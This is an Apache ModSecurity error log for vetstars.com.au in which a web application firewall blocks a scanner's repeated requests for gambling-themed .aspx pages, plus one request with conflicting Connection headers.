[Tue Mar 17 07:07:53.936718 2026] [:error] [pid 46020:tid 46029] [client 51.83.238.207:39440] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "abiNSX-nCcd9BdzGdLcajwAAAMc"]
[Tue Mar 17 07:07:54.714246 2026] [:error] [pid 46020:tid 46044] [client 51.83.238.207:39442] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abiNSn-nCcd9BdzGdLcakgAAANY"]
[Tue Mar 17 07:07:54.903434 2026] [:error] [pid 22541:tid 22562] [client 51.83.238.207:39454] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "abiNSqS6JNY1-CTsTA8FyAAAARA"]
[Tue Mar 17 07:07:55.446388 2026] [:error] [pid 22541:tid 22569] [client 51.83.238.207:39448] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "abiNS6S6JNY1-CTsTA8F4AAAARc"]
[Tue Mar 17 07:07:56.177618 2026] [:error] [pid 46020:tid 46041] [client 51.83.238.207:39462] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "abiNTH-nCcd9BdzGdLcalQAAANM"]
[Tue Mar 17 07:07:57.892857 2026] [:error] [pid 45916:tid 45966] [client 51.83.238.207:39490] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abiNTbiS53PnClk_C9ADCgAAAEQ"]
[Tue Mar 17 07:07:58.329980 2026] [:error] [pid 45917:tid 46011] [client 51.83.238.207:39476] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abiNThMMhmeqL5fT_hedxQAAAJY"]
[Tue Mar 17 07:07:58.520210 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:49954] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abiNTn-nCcd9BdzGdLcanAAAANE"]
[Tue Mar 17 07:08:00.001468 2026] [:error] [pid 22541:tid 22567] [client 51.83.238.207:49974] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abiNUKS6JNY1-CTsTA8F_QAAARU"]
[Tue Mar 17 07:08:00.042628 2026] [:error] [pid 46020:tid 46023] [client 51.83.238.207:49958] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "abiNUH-nCcd9BdzGdLcanwAAAME"]
[Tue Mar 17 07:08:01.385616 2026] [:error] [pid 45917:tid 46009] [client 51.83.238.207:49980] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abiNURMMhmeqL5fT_hedzAAAAJQ"]
[Tue Mar 17 07:08:02.487135 2026] [:error] [pid 46020:tid 46022] [client 51.83.238.207:49990] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abiNUn-nCcd9BdzGdLcapAAAAMA"]
[Tue Mar 17 07:08:03.559531 2026] [:error] [pid 45916:tid 45973] [client 51.83.238.207:50006] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abiNU7iS53PnClk_C9ADEwAAAEs"]
[Tue Mar 17 07:08:04.522073 2026] [:error] [pid 45915:tid 45930] [client 51.83.238.207:50034] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abiNVJh7U84ydzcrcncPSQAAAAE"]
[Tue Mar 17 07:08:04.572147 2026] [:error] [pid 45915:tid 45938] [client 51.83.238.207:50020] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "abiNVJh7U84ydzcrcncPSgAAAAk"]
[Tue Mar 17 07:08:05.671536 2026] [:error] [pid 46020:tid 46036] [client 51.83.238.207:50040] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abiNVX-nCcd9BdzGdLcaqAAAAM4"]
[Tue Mar 17 07:08:06.294715 2026] [:error] [pid 46020:tid 46046] [client 51.83.238.207:50044] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abiNVn-nCcd9BdzGdLcarQAAANg"]
[Tue Mar 17 07:08:07.633948 2026] [:error] [pid 46020:tid 46024] [client 51.83.238.207:50046] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abiNV3-nCcd9BdzGdLcasQAAAMI"]
[Tue Mar 17 07:08:07.729668 2026] [:error] [pid 22541:tid 22548] [client 51.83.238.207:50052] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abiNV6S6JNY1-CTsTA8GCQAAAQI"]
[Tue Mar 17 07:08:08.393207 2026] [:error] [pid 22541:tid 22558] [client 51.83.238.207:55818] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abiNWKS6JNY1-CTsTA8GDAAAAQw"]
[Tue Mar 17 07:08:09.638080 2026] [:error] [pid 22541:tid 22554] [client 51.83.238.207:55824] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "abiNWaS6JNY1-CTsTA8GFAAAAQg"]
[Tue Mar 17 07:08:09.874832 2026] [:error] [pid 45917:tid 46003] [client 51.83.238.207:55820] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "abiNWRMMhmeqL5fT_hed0wAAAI4"]
[Tue Mar 17 07:08:26.668951 2026] [:error] [pid 22541:tid 22562] [client 51.83.238.207:55866] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "abiNaqS6JNY1-CTsTA8GNgAAARA"]
[Tue Mar 17 07:08:26.721732 2026] [:error] [pid 46020:tid 46027] [client 51.83.238.207:48342] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "abiNan-nCcd9BdzGdLcazAAAAMU"]
[Tue Mar 17 07:08:28.956802 2026] [:error] [pid 45917:tid 46013] [client 51.83.238.207:55848] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abiNbBMMhmeqL5fT_hed6gAAAJg"]
[Tue Mar 17 07:08:29.997266 2026] [:error] [pid 45916:tid 45969] [client 51.83.238.207:49444] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "abiNbbiS53PnClk_C9ADPAAAAEc"]
[Tue Mar 17 07:08:30.356620 2026] [:error] [pid 46020:tid 46025] [client 51.83.238.207:48332] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abiNbn-nCcd9BdzGdLcazQAAAMM"]
[Tue Mar 17 07:08:30.942773 2026] [:error] [pid 45917:tid 46004] [client 51.83.238.207:55870] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "abiNbhMMhmeqL5fT_hed7gAAAI8"]
[Tue Mar 17 07:08:31.594127 2026] [:error] [pid 45915:tid 45929] [client 51.83.238.207:49452] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abiNb5h7U84ydzcrcncPYwAAAAA"]
[Tue Mar 17 07:08:33.398593 2026] [:error] [pid 45915:tid 45950] [client 51.83.238.207:49466] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "abiNcZh7U84ydzcrcncPZgAAABU"]
[Tue Mar 17 07:08:33.401841 2026] [:error] [pid 45915:tid 45933] [client 51.83.238.207:49458] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abiNcZh7U84ydzcrcncPZwAAAAQ"]
[Tue Mar 17 07:08:35.593225 2026] [:error] [pid 45917:tid 46009] [client 51.83.238.207:49480] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abiNcxMMhmeqL5fT_hed8AAAAJQ"]
[Tue Mar 17 07:08:35.629390 2026] [:error] [pid 45917:tid 45994] [client 51.83.238.207:49492] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "abiNcxMMhmeqL5fT_hed8QAAAIU"]
[Tue Mar 17 07:08:35.806371 2026] [:error] [pid 46020:tid 46039] [client 51.83.238.207:49494] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "abiNc3-nCcd9BdzGdLca1wAAANE"]
[Tue Mar 17 07:08:37.953916 2026] [:error] [pid 45916:tid 45982] [client 51.83.238.207:49502] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "abiNdbiS53PnClk_C9ADSwAAAFQ"]
[Tue Mar 17 07:08:38.209499 2026] [:error] [pid 46020:tid 46035] [client 51.83.238.207:48080] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "abiNdn-nCcd9BdzGdLca3AAAAM0"]
[Tue Mar 17 07:08:38.341505 2026] [:error] [pid 46020:tid 46026] [client 51.83.238.207:48084] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "abiNdn-nCcd9BdzGdLca3QAAAMQ"]
[Tue Mar 17 07:08:39.678094 2026] [:error] [pid 45917:tid 45997] [client 51.83.238.207:48092] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abiNdxMMhmeqL5fT_hed-AAAAIg"]
[Tue Mar 17 07:08:41.369374 2026] [:error] [pid 22541:tid 22565] [client 51.83.238.207:48102] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "abiNeaS6JNY1-CTsTA8GSQAAARM"]
[Tue Mar 17 07:08:41.811618 2026] [:error] [pid 45917:tid 46011] [client 51.83.238.207:48096] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "abiNeRMMhmeqL5fT_hed_gAAAJY"]
[Tue Mar 17 07:08:41.943474 2026] [:error] [pid 46020:tid 46028] [client 51.83.238.207:48112] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "abiNeX-nCcd9BdzGdLca5QAAAMY"]
[Tue Mar 17 07:08:42.695339 2026] [:error] [pid 22541:tid 22549] [client 51.83.238.207:48108] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "abiNeqS6JNY1-CTsTA8GUwAAAQM"]
[Tue Mar 17 07:09:17.608133 2026] [:error] [pid 45915:tid 45933] [client 43.159.143.187:55792] [client 43.159.143.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abiNnZh7U84ydzcrcncPnAAAAAQ"]
[Tue Mar 17 07:10:36.432683 2026] [:error] [pid 45916:tid 45984] [client 51.83.238.207:49378] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abiN7LiS53PnClk_C9AEJgAAAFY"]
[Tue Mar 17 07:10:37.204857 2026] [:error] [pid 45917:tid 45993] [client 51.83.238.207:49394] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abiN7RMMhmeqL5fT_hefAAAAAIQ"]
[Tue Mar 17 07:10:38.916950 2026] [:error] [pid 46020:tid 46043] [client 51.83.238.207:37910] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abiN7n-nCcd9BdzGdLccZQAAANU"]
[Tue Mar 17 07:10:39.744061 2026] [:error] [pid 22541:tid 22563] [client 51.83.238.207:37914] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "abiN76S6JNY1-CTsTA8HVQAAARE"]
[Tue Mar 17 07:10:41.674684 2026] [:error] [pid 22541:tid 22553] [client 51.83.238.207:37920] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abiN8aS6JNY1-CTsTA8HXAAAAQc"]
[Tue Mar 17 07:10:42.120599 2026] [:error] [pid 45915:tid 45939] [client 51.83.238.207:37932] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abiN8ph7U84ydzcrcncQBwAAAAo"]
[Tue Mar 17 07:10:44.501999 2026] [:error] [pid 46020:tid 46025] [client 51.83.238.207:37944] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abiN9H-nCcd9BdzGdLccdAAAAMM"]
[Tue Mar 17 07:10:44.733368 2026] [:error] [pid 45917:tid 46006] [client 51.83.238.207:37958] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abiN9BMMhmeqL5fT_hefDwAAAJE"]
[Tue Mar 17 07:10:47.249516 2026] [:error] [pid 46020:tid 46046] [client 51.83.238.207:37970] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abiN93-nCcd9BdzGdLccfQAAANg"]
[Tue Mar 17 07:10:47.553486 2026] [:error] [pid 22541:tid 22568] [client 51.83.238.207:37976] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abiN96S6JNY1-CTsTA8HagAAARY"]
[Tue Mar 17 07:10:49.974502 2026] [:error] [pid 45915:tid 45948] [client 51.83.238.207:49074] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abiN-Zh7U84ydzcrcncQDwAAABM"]
[Tue Mar 17 07:10:51.531487 2026] [:error] [pid 46020:tid 46045] [client 51.83.238.207:49086] [client 51.83.238.207] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abiN-3-nCcd9BdzGdLccnAAAANc"]
